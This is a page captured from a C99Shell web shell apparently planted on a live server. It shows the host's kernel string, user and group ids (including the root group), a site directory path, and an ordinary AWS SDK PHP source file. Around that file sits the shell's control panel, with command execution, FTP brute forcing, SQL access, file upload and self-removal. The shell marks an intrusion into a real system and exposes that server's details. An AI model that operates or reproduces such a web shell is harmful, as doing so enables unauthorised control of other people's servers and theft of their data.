!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/aws/aws-sdk-php/src/EndpointV2/   drwxr-xr-x
Free 28.8 GB of 117.98 GB (24.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     EndpointV2SerializerTrait.php (2.03 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Aws\EndpointV2;

use 
Aws\Api\Serializer\RestSerializer;
use 
Aws\EndpointV2\Ruleset\RulesetEndpoint;
use 
GuzzleHttp\Psr7\Uri;

/**
 * Set of helper functions used to set endpoints and endpoint
 * properties derived from dynamic endpoint resolution.
 *
 * @internal
 */
trait EndpointV2SerializerTrait
{
    
/**
     * Applies a resolved endpoint, headers and any custom HTTP schemes provided
     * in client configuration to options which are applied to the serialized request.
     *
     * @param $endpoint
     * @param $headers
     *
     * @return void
     */
    
private function setEndpointV2RequestOptions(
        
RulesetEndpoint $endpoint,
        array &
$headers
    
): void
    
{
        
$this->applyHeaders($endpoint$headers);
        
$resolvedUrl $endpoint->getUrl();
        
$this->applyScheme($resolvedUrl);
        
$this->endpoint $this instanceof RestSerializer
            
? new Uri($resolvedUrl)
            : 
$resolvedUrl;
    }

    
/**
     * Combines modeled headers and headers resolved from an endpoint object.
     *
     * @param $endpoint
     * @param $headers
     * @return void
     */
    
private function applyHeaders(RulesetEndpoint $endpoint, array &$headers): void
    
{
        if (!
is_null($endpoint->getHeaders())) {
           
$headers array_merge(
               
$headers,
               
$endpoint->getHeaders()
           );
        }
    }

    
/**
     * Applies custom HTTP schemes provided in client configuration.
     *
     * @param $resolvedUrl
     * @return void
     */
    
private function applyScheme(&$resolvedUrl): void
    
{
        
$resolvedEndpointScheme parse_url($resolvedUrlPHP_URL_SCHEME);
        
$scheme $this->endpoint instanceof Uri
            
$this->endpoint->getScheme()
            : 
parse_url($this->endpointPHP_URL_SCHEME);

        if (!empty(
$scheme) && $scheme !== $resolvedEndpointScheme) {
            
$resolvedUrl str_replace(
                
$resolvedEndpointScheme,
                
$scheme,
                
$resolvedUrl
            
);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--